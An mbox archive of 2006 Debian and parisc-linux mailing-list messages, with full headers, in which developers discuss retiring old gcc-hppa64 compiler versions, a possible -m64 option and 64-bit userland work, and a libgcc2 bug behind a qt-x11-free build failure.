Original-Received: from bolero.cs.tu-berlin.de (bolero.cs.tu-berlin.de [130.149.19.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP;
	Fri,  6 Jan 2006 03:54:40 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.12.10+Sun/8.12.8/Submit) id k062seeT028082;
	Fri, 6 Jan 2006 03:54:40 +0100 (MET)
X-Mailer: VM 7.17 under 21.4 (patch 17) "Jumbo Shrimp" XEmacs Lucid
X-Virus-Scanned: by amavisd-new at cs.tu-berlin.de
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.1 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <nMnDMC.A.AMH.yAevDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5047
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu,  5 Jan 2006 21:12:50 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: Y4XPY8hveSEkRr6WZHQhaXN1IGRvb8Au
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23328

Which gcc-X.Y-hppa64 variants are still needed for Debian sid/etch?
Currently compilers are built for 3.3, 3.4, 4.0 and 4.1, the latter
one for experimental. Is it time to drop some of these?

  Matthias


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-hppa64 compilers
Date: Fri, 06 Jan 2006 09:10:08 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <1136560208.3528.4.camel__22297.5227669396$1416623977$gmane$org@mulgrave>
References: <17341.56304.198509.175260@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623977 17643 80.91.229.3 (22 Nov 2014 02:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2006 15:11:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 06 Jan 2006 16:11:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C625C7D790;
	Fri,  6 Jan 2006 08:11:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15517-08; Fri, 6 Jan 2006 08:11:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 318517D792;
	Fri,  6 Jan 2006 08:11:03 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F7837D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Jan 2006 08:11:00 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15144-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 6 Jan 2006 08:10:59 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id AF7B97D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  6 Jan 2006 08:10:59 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k06FA9225440; Fri, 6 Jan 2006 10:10:09 -0500
In-Reply-To: <17341.56304.198509.175260@gargle.gargle.HOWL>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xO3MYxh5eSEkYb6WZHQhaXN1IGRvbwC1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23329

On Fri, 2006-01-06 at 03:54 +0100, Matthias Klose wrote:
> Which gcc-X.Y-hppa64 variants are still needed for Debian sid/etch?
> Currently compilers are built for 3.3, 3.4, 4.0 and 4.1, the latter
> one for experimental. Is it time to drop some of these?

We use the hppa64 compilers only for generating our kernels.  Most of my
64 bit kernels are currently built with 3.4.5-1 so I wouldn't have
strenuous objections to removing 3.3;  For 4.0 and 4.1, you need to ask
John David Anglin <dave@hiauly1.hia.nrc.ca> because I think these
compilers are still under suspicion of not generating correct code for
parisc64.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-hppa64 compilers
Date: Fri, 6 Jan 2006 14:27:46 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20060106192746.GA3782__47560.2202037864$1416623977$gmane$org@tachyon.int.mcmartin.ca>
References: <17341.56304.198509.175260@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623977 17647 80.91.229.3 (22 Nov 2014 02:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2006 19:44:52 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx090) with SMTP; 06 Jan 2006 20:44:52 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id D4B032E06F; Fri,  6 Jan 2006 13:44:50 -0600 (CST)
Old-Return-Path: <kyle@tachyon.int.mcmartin.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by murphy.debian.org (Postfix) with ESMTP id 1F36E2E864
	for <debian-hppa@lists.debian.org>; Fri,  6 Jan 2006 13:27:50 -0600 (CST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1AF0123E83;
	Fri,  6 Jan 2006 14:27:49 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20752-08; Fri, 6 Jan 2006 14:27:48 -0500 (EST)
Original-Received: from tachyon.int.mcmartin.ca (CPE0030ab0b413b-CM0012c9a9a56e.cpe.net.cable.rogers.com [70.28.1.105])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca", Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id C9D3123E82;
	Fri,  6 Jan 2006 14:27:48 -0500 (EST)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id 4C61DD6C12; Fri,  6 Jan 2006 14:27:46 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <17341.56304.198509.175260@gargle.gargle.HOWL>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.2 required=4.0 tests=AWL,FORGED_RCVD_HELO 
	autolearn=no version=3.0.3
Resent-Message-ID: <hpqxOC.A.WuD.yisvDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5053
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri,  6 Jan 2006 13:44:50 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: 4q3MYzlAeSEkKL6WZHQhaXN1IGRvb0Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23330

On Fri, Jan 06, 2006 at 03:54:40AM +0100, Matthias Klose wrote:
> Which gcc-X.Y-hppa64 variants are still needed for Debian sid/etch?
> Currently compilers are built for 3.3, 3.4, 4.0 and 4.1, the latter
> one for experimental. Is it time to drop some of these?
>

Please don't remove gcc-3.4-hppa64. I use it on many machines
for kernel builds. 3.3 and 4.0 can go, imnsho, but I'll defer to the
experts. 


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: gcc-hppa64 compilers
Date: Sat, 7 Jan 2006 16:06:22 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200601071606.24320.deller__40016.3476042964$1416623977$gmane$org@gmx.de>
References: <17341.56304.198509.175260@gargle.gargle.HOWL> <20060106192746.GA3782@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623977 17649 80.91.229.3 (22 Nov 2014 02:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:37 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
 parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 15:06:31 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx077) with SMTP; 07 Jan 2006 16:06:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 819F52EC6C; Sat,  7 Jan 2006 09:06:29 -0600 (CST)
Old-Return-Path: <deller@gmx.de>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.21])
	by murphy.debian.org (Postfix) with SMTP id 0DA562DECF
	for <debian-hppa@lists.debian.org>; Sat,  7 Jan 2006 09:06:27 -0600 (CST)
Original-Received: (qmail invoked by alias); 07 Jan 2006 15:06:27 -0000
Original-Received: from p54AD084F.dip0.t-ipconnect.de (EHLO ls-cups.box) [84.173.8.79]
  by mail.gmx.net (mp004) with SMTP; 07 Jan 2006 16:06:27 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <20060106192746.GA3782@tachyon.int.mcmartin.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=-4.9 required=4.0 tests=AWL,FORGED_RCVD_HELO,
	LDOSUBSCRIBER autolearn=no version=3.0.3
Resent-Message-ID: <_c8guD.A.Yb.1j9vDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5065
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  7 Jan 2006 09:06:29 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: oL3NY8gkeSEkP76WZHQhaXN1IGRvb0AZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23331

On Friday 06 January 2006 20:27, Kyle McMartin wrote:
> On Fri, Jan 06, 2006 at 03:54:40AM +0100, Matthias Klose wrote:
> > Which gcc-X.Y-hppa64 variants are still needed for Debian sid/etch?
> > Currently compilers are built for 3.3, 3.4, 4.0 and 4.1, the latter
> > one for experimental. Is it time to drop some of these?
> >
> 
> Please don't remove gcc-3.4-hppa64. I use it on many machines
> for kernel builds. 3.3 and 4.0 can go, imnsho, but I'll defer to the
> experts. 

I'm for removing 3.3 and 4.0 as well.

BTW, what does it take to drop hppa64-compiler in favour of a "-m64" compiler flag (as on x86_64) to hppa-gcc as well ?

Helge


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-hppa64 compilers
Date: Sat, 7 Jan 2006 12:25:41 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <200601071725.k07HPfmg019562__48123.446168802$1416623978$gmane$org@hiauly1.hia.nrc.ca>
References: <7d01f9f00601070727l24ae2c79h75c8a4a4d38b4e89@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623978 17658 80.91.229.3 (22 Nov 2014 02:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:38 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 17:42:16 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx034) with SMTP; 07 Jan 2006 18:42:16 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 141CC2E080; Sat,  7 Jan 2006 11:42:14 -0600 (CST)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 82BE42ECCE
	for <debian-hppa@lists.debian.org>; Sat,  7 Jan 2006 11:25:43 -0600 (CST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k07HPgil019564;
	Sat, 7 Jan 2006 12:25:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k07HPfmg019562;
	Sat, 7 Jan 2006 12:25:41 -0500 (EST)
In-Reply-To: <7d01f9f00601070727l24ae2c79h75c8a4a4d38b4e89@mail.gmail.com> from "Thibaut VARENE" at Jan 7, 2006 04:27:24 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.6 required=4.0 tests=AWL autolearn=no version=3.0.3
Resent-Message-ID: <RIjbEB.A.IIF.21_vDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5069
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  7 Jan 2006 11:42:14 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: LpjNY7cpeSEkUL6WZHQhaXN1IGRvb8CM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23332

> On 1/7/06, Helge Deller <deller@gmx.de> wrote:
> >
> > BTW, what does it take to drop hppa64-compiler in favour of a "-m64" compiler flag (as on x86_64) to hppa-gcc as well ?
> 
> This is probably impossible for the simple reason that the 64bit
> flavour of hppa gcc can only build kernels: we don't have a 64bit
> userland and thus the 64bit gcc is very limited in its features...
> This is not a full-featured compiler:

That's not true.  Under hpux, it's features are essentially equivalent
to the 32-bit compiler except for the lack of an ada port.  A -m64
option would be immediately useful under hpux.

There's not a lot that needs to be added to GCC for a 64-bit linux runtime.
The problems in creating a 64-bit userland are elsewhere.  Carlos has
made a start.  Maybe this should be in the wiki.

As usual, the main issue is the number of contributors.  Randolph and
Carlos have just about finished TLS support.  Randolph and others in
the gdb project have made numerous fixes to gdb that makes life so much
easier...  When TLS is finished, possibly the next step is to move back
to the 64-bit runtime.

As well as GCC, work needs to be done on binutils for merged 32/64 bit
support.  For example, it would be nice if elf32-hppa.c and elf64-hppa.c 
could be merged to elfxx-hppa.c.  We really need to merge the binutils
tools before doing GCC.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: qt-x11-free build fails
Date: Sat, 7 Jan 2006 13:49:15 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200601071849.k07InFlv019952__35913.8606385843$1416623978$gmane$org@hiauly1.hia.nrc.ca>
References: <20060107174000.GA11145@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623978 17667 80.91.229.3 (22 Nov 2014 02:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:38 +0000 (UTC)
Cc: 342545@bugs.debian.org,
 jbailey@debian.org,
 lamont@debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 341675@bugs.debian.org,
 tausq@debian.org,
 debian-release@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 07 Jan 2006 18:50:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 07 Jan 2006 19:50:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D22707D7EA;
	Sat,  7 Jan 2006 11:50:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25493-08; Sat, 7 Jan 2006 11:50:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40E157D7FE;
	Sat,  7 Jan 2006 11:50:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 016787D7E9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 11:50:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25353-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 7 Jan 2006 11:50:25 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 4E4357D7DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  7 Jan 2006 11:50:25 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k07InGil019953; Sat, 7 Jan 2006 13:49:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k07InFlv019952;
	Sat, 7 Jan 2006 13:49:15 -0500 (EST)
In-Reply-To: <20060107174000.GA11145@colo.lackof.org> from "Grant Grundler" at
	Jan 7, 2006 10:40:00 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KmiyY3R9eSEkPL6WZHQhaXN1IGRvbwDk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23333

> On Sat, Jan 07, 2006 at 01:05:11AM -0800, Steve Langasek wrote:
> > Grant, thank you for your work to date on this bug.  (BTW, it would be
> > helpful if you would follow up to bug #342545 on libgcc2, instead of bug
> > #341675 which is filed against just one of the many packages affected by
> > it).

There isn't a lot of info in #342545.  However, I suspect from the
following comment

> It would be nice if somebody fluent with hppa assembly can tell us if 

>       fldw -10(,sp),fr23

that this is the same bug as reported here:
http://gcc.gnu.org/bugzilla/show_bug.cgi?id=20754.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
